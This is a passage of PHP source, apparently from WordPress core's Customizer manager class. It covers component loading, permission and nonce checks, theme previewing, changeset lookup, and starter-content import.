'/customize/class-wp-customize-cropped-image-control.php'; require_once ABSPATH . WPINC . '/customize/class-wp-customize-site-icon-control.php'; require_once ABSPATH . WPINC . '/customize/class-wp-customize-header-image-control.php'; require_once ABSPATH . WPINC . '/customize/class-wp-customize-theme-control.php'; require_once ABSPATH . WPINC . '/customize/class-wp-customize-code-editor-control.php'; require_once ABSPATH . WPINC . '/customize/class-wp-widget-area-customize-control.php'; require_once ABSPATH . WPINC . '/customize/class-wp-widget-form-customize-control.php'; require_once ABSPATH . WPINC . '/customize/class-wp-customize-nav-menu-control.php'; require_once ABSPATH . WPINC . '/customize/class-wp-customize-nav-menu-item-control.php'; require_once ABSPATH . WPINC . '/customize/class-wp-customize-nav-menu-location-control.php'; require_once ABSPATH . WPINC . '/customize/class-wp-customize-nav-menu-name-control.php'; require_once ABSPATH . WPINC . '/customize/class-wp-customize-nav-menu-locations-control.php'; require_once ABSPATH . WPINC . '/customize/class-wp-customize-nav-menu-auto-add-control.php'; require_once ABSPATH . WPINC . '/customize/class-wp-customize-nav-menus-panel.php'; require_once ABSPATH . WPINC . '/customize/class-wp-customize-themes-panel.php'; require_once ABSPATH . WPINC . '/customize/class-wp-customize-themes-section.php'; require_once ABSPATH . WPINC . '/customize/class-wp-customize-sidebar-section.php'; require_once ABSPATH . WPINC . '/customize/class-wp-customize-nav-menu-section.php'; require_once ABSPATH . WPINC . '/customize/class-wp-customize-custom-css-setting.php'; require_once ABSPATH . WPINC . '/customize/class-wp-customize-filter-setting.php'; require_once ABSPATH . WPINC . '/customize/class-wp-customize-header-image-setting.php'; require_once ABSPATH . WPINC . '/customize/class-wp-customize-background-image-setting.php'; require_once ABSPATH . WPINC . '/customize/class-wp-customize-nav-menu-item-setting.php'; require_once ABSPATH . WPINC . '/customize/class-wp-customize-nav-menu-setting.php'; /** * Filters the core Customizer components to load. * * This allows Core components to be excluded from being instantiated by * filtering them out of the array. Note that this filter generally runs * during the {@see 'plugins_loaded'} action, so it cannot be added * in a theme. * * @since 4.4.0 * * @see WP_Customize_Manager::__construct() * * @param string[] $components Array of core components to load. * @param WP_Customize_Manager $this WP_Customize_Manager instance. */ $components = apply_filters( 'customize_loaded_components', $this->components, $this ); require_once ABSPATH . WPINC . '/customize/class-wp-customize-selective-refresh.php'; $this->selective_refresh = new WP_Customize_Selective_Refresh( $this ); if ( in_array( 'widgets', $components, true ) ) { require_once ABSPATH . WPINC . '/class-wp-customize-widgets.php'; $this->widgets = new WP_Customize_Widgets( $this ); } if ( in_array( 'nav_menus', $components, true ) ) { require_once ABSPATH . WPINC . '/class-wp-customize-nav-menus.php'; $this->nav_menus = new WP_Customize_Nav_Menus( $this ); } add_action( 'setup_theme', array( $this, 'setup_theme' ) ); add_action( 'wp_loaded', array( $this, 'wp_loaded' ) ); // Do not spawn cron (especially the alternate cron) while running the Customizer. remove_action( 'init', 'wp_cron' ); // Do not run update checks when rendering the controls. remove_action( 'admin_init', '_maybe_update_core' ); remove_action( 'admin_init', '_maybe_update_plugins' ); remove_action( 'admin_init', '_maybe_update_themes' ); add_action( 'wp_ajax_customize_save', array( $this, 'save' ) ); add_action( 'wp_ajax_customize_trash', array( $this, 'handle_changeset_trash_request' ) ); add_action( 'wp_ajax_customize_refresh_nonces', array( $this, 'refresh_nonces' ) ); add_action( 'wp_ajax_customize_load_themes', array( $this, 'handle_load_themes_request' ) ); add_filter( 'heartbeat_settings', array( $this, 'add_customize_screen_to_heartbeat_settings' ) ); add_filter( 'heartbeat_received', array( $this, 'check_changeset_lock_with_heartbeat' ), 10, 3 ); add_action( 'wp_ajax_customize_override_changeset_lock', array( $this, 'handle_override_changeset_lock_request' ) ); add_action( 'wp_ajax_customize_dismiss_autosave_or_lock', array( $this, 'handle_dismiss_autosave_or_lock_request' ) ); add_action( 'customize_register', array( $this, 'register_controls' ) ); add_action( 'customize_register', array( $this, 'register_dynamic_settings' ), 11 ); // Allow code to create settings first. add_action( 'customize_controls_init', array( $this, 'prepare_controls' ) ); add_action( 'customize_controls_enqueue_scripts', array( $this, 'enqueue_control_scripts' ) ); // Render Common, Panel, Section, and Control templates. add_action( 'customize_controls_print_footer_scripts', array( $this, 'render_panel_templates' ), 1 ); add_action( 'customize_controls_print_footer_scripts', array( $this, 'render_section_templates' ), 1 ); add_action( 'customize_controls_print_footer_scripts', array( $this, 'render_control_templates' ), 1 ); // Export header video settings with the partial response. add_filter( 'customize_render_partials_response', array( $this, 'export_header_video_settings' ), 10, 3 ); // Export the settings to JS via the _wpCustomizeSettings variable. add_action( 'customize_controls_print_footer_scripts', array( $this, 'customize_pane_settings' ), 1000 ); // Add theme update notices. if ( current_user_can( 'install_themes' ) || current_user_can( 'update_themes' ) ) { require_once ABSPATH . 'wp-admin/includes/update.php'; add_action( 'customize_controls_print_footer_scripts', 'wp_print_admin_notice_templates' ); } } /** * Return true if it's an Ajax request. * * @since 3.4.0 * @since 4.2.0 Added `$action` param. * * @param string|null $action Whether the supplied Ajax action is being run. * @return bool True if it's an Ajax request, false otherwise. */ public function doing_ajax( $action = null ) { if ( ! wp_doing_ajax() ) { return false; } if ( ! $action ) { return true; } else { /* * Note: we can't just use doing_action( "wp_ajax_{$action}" ) because we need * to check before admin-ajax.php gets to that point. */ return isset( $_REQUEST['action'] ) && wp_unslash( $_REQUEST['action'] ) === $action; } } /** * Custom wp_die wrapper. Returns either the standard message for UI * or the Ajax message. * * @since 3.4.0 * * @param string|WP_Error $ajax_message Ajax return. * @param string $message Optional. UI message. */ protected function wp_die( $ajax_message, $message = null ) { if ( $this->doing_ajax() ) { wp_die( $ajax_message ); } if ( ! $message ) { $message = __( 'Something went wrong.' ); } if ( $this->messenger_channel ) { ob_start(); wp_enqueue_scripts(); wp_print_scripts( array( 'customize-base' ) ); $settings = array( 'messengerArgs' => array( 'channel' => $this->messenger_channel, 'url' => wp_customize_url(), ), 'error' => $ajax_message, ); ?> <script> ( function( api, settings ) { var preview = new api.Messenger( settings.messengerArgs ); preview.send( 'iframe-loading-error', settings.error ); } )( wp.customize, <?php echo wp_json_encode( $settings ); ?> ); </script> <?php $message .= ob_get_clean(); } wp_die( $message ); } /** * Return the Ajax wp_die() handler if it's a customized request. * * @since 3.4.0 * @deprecated 4.7.0 * * @return callable Die handler. */ public function wp_die_handler() { _deprecated_function( __METHOD__, '4.7.0' ); if ( $this->doing_ajax() || isset( $_POST['customized'] ) ) { return '_ajax_wp_die_handler'; } return '_default_wp_die_handler'; } /** * Start preview and customize theme. * * Check if customize query variable exist. Init filters to filter the current theme. * * @since 3.4.0 * * @global string $pagenow */ public function setup_theme() { global $pagenow; // Check permissions for customize.php access since this method is called before customize.php can run any code. if ( 'customize.php' === $pagenow && ! current_user_can( 'customize' ) ) { if ( ! is_user_logged_in() ) { auth_redirect(); } else { wp_die( '<h1>' . __( 'You need a higher level of permission.' ) . '</h1>' . '<p>' . __( 'Sorry, you are not allowed to customize this site.' ) . '</p>', 403 ); } return; } // If a changeset was provided is invalid. if ( isset( $this->_changeset_uuid ) && false !== $this->_changeset_uuid && ! wp_is_uuid( $this->_changeset_uuid ) ) { $this->wp_die( -1, __( 'Invalid changeset UUID' ) ); } /* * Clear incoming post data if the user lacks a CSRF token (nonce). Note that the customizer * application will inject the customize_preview_nonce query parameter into all Ajax requests. * For similar behavior elsewhere in WordPress, see rest_cookie_check_errors() which logs out * a user when a valid nonce isn't present. */ $has_post_data_nonce = ( check_ajax_referer( 'preview-customize_' . $this->get_stylesheet(), 'nonce', false ) || check_ajax_referer( 'save-customize_' . $this->get_stylesheet(), 'nonce', false ) || check_ajax_referer( 'preview-customize_' . $this->get_stylesheet(), 'customize_preview_nonce', false ) ); if ( ! current_user_can( 'customize' ) || ! $has_post_data_nonce ) { unset( $_POST['customized'] ); unset( $_REQUEST['customized'] ); } /* * If unauthenticated then require a valid changeset UUID to load the preview. * In this way, the UUID serves as a secret key. If the messenger channel is present, * then send unauthenticated code to prompt re-auth. */ if ( ! current_user_can( 'customize' ) && ! $this->changeset_post_id() ) { $this->wp_die( $this->messenger_channel ? 0 : -1, __( 'Non-existent changeset UUID.' ) ); } if ( ! headers_sent() ) { send_origin_headers(); } // Hide the admin bar if we're embedded in the customizer iframe. if ( $this->messenger_channel ) { show_admin_bar( false ); } if ( $this->is_theme_active() ) { // Once the theme is loaded, we'll validate it. add_action( 'after_setup_theme', array( $this, 'after_setup_theme' ) ); } else { // If the requested theme is not the active theme and the user doesn't have // the switch_themes cap, bail. if ( ! current_user_can( 'switch_themes' ) ) { $this->wp_die( -1, __( 'Sorry, you are not allowed to edit theme options on this site.' ) ); } // If the theme has errors while loading, bail. if ( $this->theme()->errors() ) { $this->wp_die( -1, $this->theme()->errors()->get_error_message() ); } // If the theme isn't allowed per multisite settings, bail. if ( ! $this->theme()->is_allowed() ) { $this->wp_die( -1, __( 'The requested theme does not exist.' ) ); } } // Make sure changeset UUID is established immediately after the theme is loaded. add_action( 'after_setup_theme', array( $this, 'establish_loaded_changeset' ), 5 ); /* * Import theme starter content for fresh installations when landing in the customizer. * Import starter content at after_setup_theme:100 so that any * add_theme_support( 'starter-content' ) calls will have been made. */ if ( get_option( 'fresh_site' ) && 'customize.php' === $pagenow ) { add_action( 'after_setup_theme', array( $this, 'import_theme_starter_content' ), 100 ); } $this->start_previewing_theme(); } /** * Establish the loaded changeset. * * This method runs right at after_setup_theme and applies the 'customize_changeset_branching' filter to determine * whether concurrent changesets are allowed. Then if the Customizer is not initialized with a `changeset_uuid` param, * this method will determine which UUID should be used. If changeset branching is disabled, then the most saved * changeset will be loaded by default. Otherwise, if there are no existing saved changesets or if changeset branching is * enabled, then a new UUID will be generated. * * @since 4.9.0 * * @global string $pagenow */ public function establish_loaded_changeset() { global $pagenow; if ( empty( $this->_changeset_uuid ) ) { $changeset_uuid = null; if ( ! $this->branching() && $this->is_theme_active() ) { $unpublished_changeset_posts = $this->get_changeset_posts( array( 'post_status' => array_diff( get_post_stati(), array( 'auto-draft', 'publish', 'trash', 'inherit', 'private' ) ), 'exclude_restore_dismissed' => false, 'author' => 'any', 'posts_per_page' => 1, 'order' => 'DESC', 'orderby' => 'date', ) ); $unpublished_changeset_post = array_shift( $unpublished_changeset_posts ); if ( ! empty( $unpublished_changeset_post ) && wp_is_uuid( $unpublished_changeset_post->post_name ) ) { $changeset_uuid = $unpublished_changeset_post->post_name; } } // If no changeset UUID has been set yet, then generate a new one. if ( empty( $changeset_uuid ) ) { $changeset_uuid = wp_generate_uuid4(); } $this->_changeset_uuid = $changeset_uuid; } if ( is_admin() && 'customize.php' === $pagenow ) { $this->set_changeset_lock( $this->changeset_post_id() ); } } /** * Callback to validate a theme once it is loaded * * @since 3.4.0 */ public function after_setup_theme() { $doing_ajax_or_is_customized = ( $this->doing_ajax() || isset( $_POST['customized'] ) ); if ( ! $doing_ajax_or_is_customized && ! validate_current_theme() ) { wp_redirect( 'themes.php?broken=true' ); exit; } } /** * If the theme to be previewed isn't the active theme, add filter callbacks * to swap it out at runtime. * * @since 3.4.0 */ public function start_previewing_theme() { // Bail if we're already previewing. if ( $this->is_preview() ) { return; } $this->previewing = true; if ( ! $this->is_theme_active() ) { add_filter( 'template', array( $this, 'get_template' ) ); add_filter( 'stylesheet', array( $this, 'get_stylesheet' ) ); add_filter( 'pre_option_current_theme', array( $this, 'current_theme' ) ); // @link: https://core.trac.wordpress.org/ticket/20027 add_filter( 'pre_option_stylesheet', array( $this, 'get_stylesheet' ) ); add_filter( 'pre_option_template', array( $this, 'get_template' ) ); // Handle custom theme roots. add_filter( 'pre_option_stylesheet_root', array( $this, 'get_stylesheet_root' ) ); add_filter( 'pre_option_template_root', array( $this, 'get_template_root' ) ); } /** * Fires once the Customizer theme preview has started. * * @since 3.4.0 * * @param WP_Customize_Manager $this WP_Customize_Manager instance. */ do_action( 'start_previewing_theme', $this ); } /** * Stop previewing the selected theme. * * Removes filters to change the current theme. * * @since 3.4.0 */ public function stop_previewing_theme() { if ( ! $this->is_preview() ) { return; } $this->previewing = false; if ( ! $this->is_theme_active() ) { remove_filter( 'template', array( $this, 'get_template' ) ); remove_filter( 'stylesheet', array( $this, 'get_stylesheet' ) ); remove_filter( 'pre_option_current_theme', array( $this, 'current_theme' ) ); // @link: https://core.trac.wordpress.org/ticket/20027 remove_filter( 'pre_option_stylesheet', array( $this, 'get_stylesheet' ) ); remove_filter( 'pre_option_template', array( $this, 'get_template' ) ); // Handle custom theme roots. remove_filter( 'pre_option_stylesheet_root', array( $this, 'get_stylesheet_root' ) ); remove_filter( 'pre_option_template_root', array( $this, 'get_template_root' ) ); } /** * Fires once the Customizer theme preview has stopped. * * @since 3.4.0 * * @param WP_Customize_Manager $this WP_Customize_Manager instance. */ do_action( 'stop_previewing_theme', $this ); } /** * Gets whether settings are or will be previewed. * * @since 4.9.0 * * @see WP_Customize_Setting::preview() * * @return bool */ public function settings_previewed() { return $this->settings_previewed; } /** * Gets whether data from a changeset's autosaved revision should be loaded if it exists. * * @since 4.9.0 * * @see WP_Customize_Manager::changeset_data() * * @return bool Is using autosaved changeset revision. */ public function autosaved() { return $this->autosaved; } /** * Whether the changeset branching is allowed. * * @since 4.9.0 * * @see WP_Customize_Manager::establish_loaded_changeset() * * @return bool Is changeset branching. */ public function branching() { /** * Filters whether or not changeset branching is allowed. * * By default in core, when changeset branching is not allowed, changesets will operate * linearly in that only one saved changeset will exist at a time (with a 'draft' or * 'future' status). This makes the Customizer operate in a way that is similar to going to * "edit" to one existing post: all users will be making changes to the same post, and autosave * revisions will be made for that post. * * By contrast, when changeset branching is allowed, then the model is like users going * to "add new" for a page and each user makes changes independently of each other since * they are all operating on their own separate pages, each getting their own separate * initial auto-drafts and then once initially saved, autosave revisions on top of that * user's specific post. * * Since linear changesets are deemed to be more suitable for the majority of WordPress users, * they are the default. For WordPress sites that have heavy site management in the Customizer * by multiple users then branching changesets should be enabled by means of this filter. * * @since 4.9.0 * * @param bool $allow_branching Whether branching is allowed. If `false`, the default, * then only one saved changeset exists at a time. * @param WP_Customize_Manager $wp_customize Manager instance. */ $this->branching = apply_filters( 'customize_changeset_branching', $this->branching, $this ); return $this->branching; } /** * Get the changeset UUID. * * @since 4.7.0 * * @see WP_Customize_Manager::establish_loaded_changeset() * * @return string UUID. */ public function changeset_uuid() { if ( empty( $this->_changeset_uuid ) ) { $this->establish_loaded_changeset(); } return $this->_changeset_uuid; } /** * Get the theme being customized. * * @since 3.4.0 * * @return WP_Theme */ public function theme() { if ( ! $this->theme ) { $this->theme = wp_get_theme(); } return $this->theme; } /** * Get the registered settings. * * @since 3.4.0 * * @return array */ public function settings() { return $this->settings; } /** * Get the registered controls. * * @since 3.4.0 * * @return array */ public function controls() { return $this->controls; } /** * Get the registered containers. * * @since 4.0.0 * * @return array */ public function containers() { return $this->containers; } /** * Get the registered sections. * * @since 3.4.0 * * @return array */ public function sections() { return $this->sections; } /** * Get the registered panels. * * @since 4.0.0 * * @return array Panels. */ public function panels() { return $this->panels; } /** * Checks if the current theme is active. * * @since 3.4.0 * * @return bool */ public function is_theme_active() { return $this->get_stylesheet() === $this->original_stylesheet; } /** * Register styles/scripts and initialize the preview of each setting * * @since 3.4.0 */ public function wp_loaded() { // Unconditionally register core types for panels, sections, and controls // in case plugin unhooks all customize_register actions. $this->register_panel_type( 'WP_Customize_Panel' ); $this->register_panel_type( 'WP_Customize_Themes_Panel' ); $this->register_section_type( 'WP_Customize_Section' ); $this->register_section_type( 'WP_Customize_Sidebar_Section' ); $this->register_section_type( 'WP_Customize_Themes_Section' ); $this->register_control_type( 'WP_Customize_Color_Control' ); $this->register_control_type( 'WP_Customize_Media_Control' ); $this->register_control_type( 'WP_Customize_Upload_Control' ); $this->register_control_type( 'WP_Customize_Image_Control' ); $this->register_control_type( 'WP_Customize_Background_Image_Control' ); $this->register_control_type( 'WP_Customize_Background_Position_Control' ); $this->register_control_type( 'WP_Customize_Cropped_Image_Control' ); $this->register_control_type( 'WP_Customize_Site_Icon_Control' ); $this->register_control_type( 'WP_Customize_Theme_Control' ); $this->register_control_type( 'WP_Customize_Code_Editor_Control' ); $this->register_control_type( 'WP_Customize_Date_Time_Control' ); /** * Fires once WordPress has loaded, allowing scripts and styles to be initialized. * * @since 3.4.0 * * @param WP_Customize_Manager $this WP_Customize_Manager instance. */ do_action( 'customize_register', $this ); if ( $this->settings_previewed() ) { foreach ( $this->settings as $setting ) { $setting->preview(); } } if ( $this->is_preview() && ! is_admin() ) { $this->customize_preview_init(); } } /** * Prevents Ajax requests from following redirects when previewing a theme * by issuing a 200 response instead of a 30x. * * Instead, the JS will sniff out the location header. * * @since 3.4.0 * @deprecated 4.7.0 * * @param int $status Status. * @return int */ public function wp_redirect_status( $status ) { _deprecated_function( __FUNCTION__, '4.7.0' ); if ( $this->is_preview() && ! is_admin() ) { return 200; } return $status; } /** * Find the changeset post ID for a given changeset UUID. * * @since 4.7.0 * * @param string $uuid Changeset UUID. * @return int|null Returns post ID on success and null on failure. */ public function find_changeset_post_id( $uuid ) { $cache_group = 'customize_changeset_post'; $changeset_post_id = wp_cache_get( $uuid, $cache_group ); if ( $changeset_post_id && 'customize_changeset' === get_post_type( $changeset_post_id ) ) { return $changeset_post_id; } $changeset_post_query = new WP_Query( array( 'post_type' => 'customize_changeset', 'post_status' => get_post_stati(), 'name' => $uuid, 'posts_per_page' => 1, 'no_found_rows' => true, 'cache_results' => true, 'update_post_meta_cache' => false, 'update_post_term_cache' => false, 'lazy_load_term_meta' => false, ) ); if ( ! empty( $changeset_post_query->posts ) ) { // Note: 'fields'=>'ids' is not being used in order to cache the post object as it will be needed. $changeset_post_id = $changeset_post_query->posts[0]->ID; wp_cache_set( $uuid, $changeset_post_id, $cache_group ); return $changeset_post_id; } return null; } /** * Get changeset posts. * * @since 4.9.0 * * @param array $args { * Args to pass into `get_posts()` to query changesets. * * @type int $posts_per_page Number of posts to return. Defaults to -1 (all posts). * @type int $author Post author. Defaults to current user. * @type string $post_status Status of changeset. Defaults to 'auto-draft'. * @type bool $exclude_restore_dismissed Whether to exclude changeset auto-drafts that have been dismissed. Defaults to true. * } * @return WP_Post[] Auto-draft changesets. */ protected function get_changeset_posts( $args = array() ) { $default_args = array( 'exclude_restore_dismissed' => true, 'posts_per_page' => -1, 'post_type' => 'customize_changeset', 'post_status' => 'auto-draft', 'order' => 'DESC', 'orderby' => 'date', 'no_found_rows' => true, 'cache_results' => true, 'update_post_meta_cache' => false, 'update_post_term_cache' => false, 'lazy_load_term_meta' => false, ); if ( get_current_user_id() ) { $default_args['author'] = get_current_user_id(); } $args = array_merge( $default_args, $args ); if ( ! empty( $args['exclude_restore_dismissed'] ) ) { unset( $args['exclude_restore_dismissed'] ); $args['meta_query'] = array( array( 'key' => '_customize_restore_dismissed', 'compare' => 'NOT EXISTS', ), ); } return get_posts( $args ); } /** * Dismiss all of the current user's auto-drafts (other than the present one). * * @since 4.9.0 * @return int The number of auto-drafts that were dismissed. */ protected function dismiss_user_auto_draft_changesets() { $changeset_autodraft_posts = $this->get_changeset_posts( array( 'post_status' => 'auto-draft', 'exclude_restore_dismissed' => true, 'posts_per_page' => -1, ) ); $dismissed = 0; foreach ( $changeset_autodraft_posts as $autosave_autodraft_post ) { if ( $autosave_autodraft_post->ID === $this->changeset_post_id() ) { continue; } if ( update_post_meta( $autosave_autodraft_post->ID, '_customize_restore_dismissed', true ) ) { $dismissed++; } } return $dismissed; } /** * Get the changeset post ID for the loaded changeset. * * @since 4.7.0 * * @return int|null Post ID on success or null if there is no post yet saved. */ public function changeset_post_id() { if ( ! isset( $this->_changeset_post_id ) ) { $post_id = $this->find_changeset_post_id( $this->changeset_uuid() ); if ( ! $post_id ) { $post_id = false; } $this->_changeset_post_id = $post_id; } if ( false === $this->_changeset_post_id ) { return null; } return $this->_changeset_post_id; } /** * Get the data stored in a changeset post. * * @since 4.7.0 * * @param int $post_id Changeset post ID. * @return array|WP_Error Changeset data or WP_Error on error. */ protected function get_changeset_post_data( $post_id ) { if ( ! $post_id ) { return new WP_Error( 'empty_post_id' ); } $changeset_post = get_post( $post_id ); if ( ! $changeset_post ) { return new WP_Error( 'missing_post' ); } if ( 'revision' === $changeset_post->post_type ) { if ( 'customize_changeset' !== get_post_type( $changeset_post->post_parent ) ) { return new WP_Error( 'wrong_post_type' ); } } elseif ( 'customize_changeset' !== $changeset_post->post_type ) { return new WP_Error( 'wrong_post_type' ); } $changeset_data = json_decode( $changeset_post->post_content, true ); $last_error = json_last_error(); if ( $last_error ) { return new WP_Error( 'json_parse_error', '', $last_error ); } if ( ! is_array( $changeset_data ) ) { return new WP_Error( 'expected_array' ); } return $changeset_data; } /** * Get changeset data. * * @since 4.7.0 * @since 4.9.0 This will return the changeset's data with a user's autosave revision merged on top, if one exists and $autosaved is true. * * @return array Changeset data. */ public function changeset_data() { if ( isset( $this->_changeset_data ) ) { return $this->_changeset_data; } $changeset_post_id = $this->changeset_post_id(); if ( ! $changeset_post_id ) { $this->_changeset_data = array(); } else { if ( $this->autosaved() && is_user_logged_in() ) { $autosave_post = wp_get_post_autosave( $changeset_post_id, get_current_user_id() ); if ( $autosave_post ) { $data = $this->get_changeset_post_data( $autosave_post->ID ); if ( ! is_wp_error( $data ) ) { $this->_changeset_data = $data; } } } // Load data from the changeset if it was not loaded from an autosave. if ( ! isset( $this->_changeset_data ) ) { $data = $this->get_changeset_post_data( $changeset_post_id ); if ( ! is_wp_error( $data ) ) { $this->_changeset_data = $data; } else { $this->_changeset_data = array(); } } } return $this->_changeset_data; } /** * Starter content setting IDs. * * @since 4.7.0 * @var array */ protected $pending_starter_content_settings_ids = array(); /** * Import theme starter content into the customized state. * * @since 4.7.0 * * @param array $starter_content Starter content. Defaults to `get_theme_starter_content()`. */ function import_theme_starter_content( $starter_content = array() ) { if ( empty( $starter_content ) ) { $starter_content = get_theme_starter_content(); } $changeset_data = array(); if ( $this->changeset_post_id() ) { /* * Don't re-import starter content into a changeset saved persistently. * This will need to be revisited in the future once theme switching * is allowed with drafted/scheduled changesets, since switching to * another theme could result in more starter content being applied. * However, when doing an explicit save it is currently possible for * nav menus and nav menu items specifically to lose their starter_content * flags, thus resulting in duplicates being created since they fail * to get re-used. See #40146. */ if ( 'auto-draft' !== get_post_status( $this->changeset_post_id() ) ) { return; } $changeset_data = $this->get_changeset_post_data( $this->changeset_post_id() ); } $sidebars_widgets = isset( $starter_content['widgets'] ) && ! empty( $this->widgets ) ? $starter_content['widgets'] : array(); $attachments = isset( $starter_content['attachments'] ) && ! empty( $this->nav_menus ) ? $starter_content['attachments'] : array(); $posts = isset( $starter_content['posts'] ) && ! empty( $this->nav_menus ) ? $starter_content['posts'] : array(); $options = isset( $starter_content['options'] ) ? $starter_content['options'] : array(); $nav_menus = isset( $starter_content['nav_menus'] ) && ! empty( $this->nav_menus ) ? $starter_content['nav_menus'] : array(); $theme_mods = isset( $starter_content['theme_mods'] ) ? $starter_content['theme_mods'] : array(); // Widgets. $max_widget_numbers = array(); foreach ( $sidebars_widgets as $sidebar_id => $widgets ) { $sidebar_widget_ids = array(); foreach ( $widgets as $widget ) { list( $id_base, $instance ) = $widget; if ( ! isset( $max_widget_numbers[ $id_base ] ) ) { // When $settings is an array-like object, get an intrinsic array for use with array_keys(). $settings = get_option( "widget_{$id_base}", array() ); if ( $settings instanceof ArrayObject || $settings instanceof ArrayIterator ) { $settings = $settings->getArrayCopy(); } unset( $settings['_multiwidget'] ); // Find the max widget number for this type. $widget_numbers = array_keys( $settings ); if ( count( $widget_numbers ) > 0 ) { $widget_numbers[] = 1; $max_widget_numbers[ $id_base ] = max( ...$widget_numbers ); } else { $max_widget_numbers[ $id_base ] = 1; } } $max_widget_numbers[ $id_base ] += 1; $widget_id = sprintf( '%s-%d', $id_base, $max_widget_numbers[ $id_base ] ); $setting_id = sprintf( 'widget_%s[%d]', $id_base, $max_widget_numbers[ $id_base ] ); $setting_value = $this->widgets->sanitize_widget_js_instance( $instance ); if ( empty( $changeset_data[ $setting_id ] ) || ! empty( $changeset_data[ $setting_id ]['starter_content'] ) ) { $this->set_post_value( $setting_id, $setting_value ); $this->pending_starter_content_settings_ids[] = $setting_id; } $sidebar_widget_ids[] = $widget_id; } $setting_id = sprintf( 'sidebars_widgets[%s]', $sidebar_id ); if ( empty( $changeset_data[ $setting_id ] ) || ! empty( $changeset_data[ $setting_id ]['starter_content'] ) ) { $this->set_post_value( $setting_id, $sidebar_widget_ids ); $this->pending_starter_content_settings_ids[] = $setting_id; } } $starter_content_auto_draft_post_ids = array(); if ( ! empty( $changeset_data['nav_menus_created_posts']['value'] ) ) { $starter_content_auto_draft_post_ids = array_merge( $starter_content_auto_draft_post_ids, $changeset_data['nav_menus_created_posts']['value'] ); } // Make an index of all the posts needed and what their slugs are. $needed_posts = array(); $attachments = $this->prepare_starter_content_attachments( $attachments ); foreach ( $attachments as $attachment ) { $key = 'attachment:' . $attachment['post_name']; $needed_posts[ $key ] = true; } foreach ( array_keys( $posts ) as $post_symbol ) { if ( empty( $posts[ $post_symbol ]['post_name'] ) && empty( $posts[ $post_symbol ]['post_title'] ) ) { unset( $posts[ $post_symbol ] ); continue; } if ( empty( $posts[ $post_symbol ]['post_name'] ) ) { $posts[ $post_symbol ]['post_name'] = sanitize_title( $posts[ $post_symbol ]['post_title'] ); } if ( empty( $posts[ $post_symbol ]['post_type'] ) ) { $posts[ $post_symbol ]['post_type'] = 'post'; } $needed_posts[ $posts[ $post_symbol ]['post_type'] . ':' . $posts[ $post_symbol ]['post_name'] ] = true; } $all_post_slugs = array_merge( wp_list_pluck( $attachments, 'post_name' ), wp_list_pluck( $posts, 'post_name' ) ); /* * Obtain all post types referenced in starter content to use in query. * This is needed because 'any' will not account for post types not yet registered. */ $post_types = array_filter( array_merge( array( 'attachment' ), wp_list_pluck( $posts, 'post_type' ) ) ); // Re-use auto-draft starter content posts referenced in the current customized state. $existing_starter_content_posts = array(); if ( ! empty( $starter_content_auto_draft_post_ids ) ) { $existing_posts_query = new WP_Query( array( 'post__in' => $starter_content_auto_draft_post_ids, 'post_status' => 'auto-draft', 'post_type' => $post_types, 'posts_per_page' => -1, ) ); foreach ( $existing_posts_query->posts as $existing_post ) { $post_name = $existing_post->post_name; if ( empty( $post_name ) ) { $post_name = get_post_meta( $existing_post->ID, '_customize_draft_post_name', true ); } $existing_starter_content_posts[ $existing_post->post_type . ':' . $post_name ] = $existing_post; } } // Re-use non-auto-draft posts. if ( ! empty( $all_post_slugs ) ) { $existing_posts_query = new WP_Query( array( 'post_name__in' => $all_post_slugs, 'post_status' => array_diff( get_post_stati(), array( 'auto-draft' ) ), 'post_type' => 'any', 'posts_per_page' => -1, ) ); foreach ( $existing_posts_query->posts as $existing_post ) { $key = $existing_post->post_type . ':' . $existing_post->post_name; if ( isset( $needed_posts[ $key ] ) && ! isset( $existing_starter_content_posts[ $key ] ) ) { $existing_starter_content_posts[ $key ] = $existing_post; } } } // Attachments are technically posts but handled differently. if ( ! empty( $attachments ) ) { $attachment_ids = array(); foreach ( $attachments as $symbol => $attachment ) { $file_array = array( 'name' => $attachment['file_name'], ); $file_path = $attachment['file_path']; $attachment_id = null; $attached_file = null; if ( isset( $existing_starter_content_posts[ 'attachment:' . $attachment['post_name'] ] ) ) { $attachment_post = $existing_starter_content_posts[ 'attachment:' . $attachment['post_name'] ]; $attachment_id = $attachment_post->ID; $attached_file = get_attached_file( $attachment_id ); if ( empty( $attached_file ) || ! file_exists( $attached_file ) ) { $attachment_id = null; $attached_file = null; } elseif ( $this->get_stylesheet() !== get_post_meta( $attachment_post->ID, '_starter_content_theme', true ) ) { // Re-generate attachment metadata since it was previously generated for a different theme. $metadata = wp_generate_attachment_metadata( $attachment_post->ID, $attached_file ); wp_update_attachment_metadata( $attachment_id, $metadata ); update_post_meta( $attachment_id, '_starter_content_theme', $this->get_stylesheet() ); } } // Insert the attachment auto-draft because it doesn't yet exist or the attached file is gone. if ( ! $attachment_id ) { // Copy file to temp location so that original file won't get deleted from theme after sideloading. $temp_file_name = wp_tempnam( wp_basename( $file_path ) ); if ( $temp_file_name && copy( $file_path, $temp_file_name ) ) { $file_array['tmp_name'] = $temp_file_name; } if ( empty( $file_array['tmp_name'] ) ) { continue; } $attachment_post_data = array_merge( wp_array_slice_assoc( $attachment, array( 'post_title', 'post_content', 'post_excerpt' ) ), array( 'post_status' => 'auto-draft', // So attachment will be garbage collected in a week if changeset is never published. ) ); $attachment_id = media_handle_sideload( $file_array, 0, null, $attachment_post_data ); if ( is_wp_error( $attachment_id ) ) { continue; } update_post_meta( $attachment_id, '_starter_content_theme', $this->get_stylesheet() ); update_post_meta( $attachment_id, '_customize_draft_post_name', $attachment['post_name'] ); } $attachment_ids[ $symbol ] = $attachment_id; } $starter_content_auto_draft_post_ids = array_merge( $starter_content_auto_draft_post_ids, array_values( $attachment_ids ) ); } // Posts & pages. if ( ! empty( $posts ) ) { foreach ( array_keys( $posts ) as $post_symbol ) { if ( empty( $posts[ $post_symbol ]['post_type'] ) || empty( $posts[ $post_symbol ]['post_name'] ) ) { continue; } $post_type = $posts[ $post_symbol ]['post_type']; if ( ! empty( $posts[ $post_symbol ]['post_name'] ) ) { $post_name = $posts[ $post_symbol ]['post_name']; } elseif ( ! empty( $posts[ $post_symbol ]['post_title'] ) ) { $post_name = sanitize_title( $posts[ $post_symbol ]['post_title'] ); } else { continue; } // Use existing auto-draft post if one already exists with the same type and name. if ( isset( $existing_starter_content_posts[ $post_type . ':' . $post_name ] ) ) { $posts[ $post_symbol ]['ID'] = $existing_starter_content_posts[ $post_type . ':' . $post_name ]->ID; continue; } // Translate the featured image symbol. if ( ! empty( $posts[ $post_symbol ]['thumbnail'] ) && preg_match( 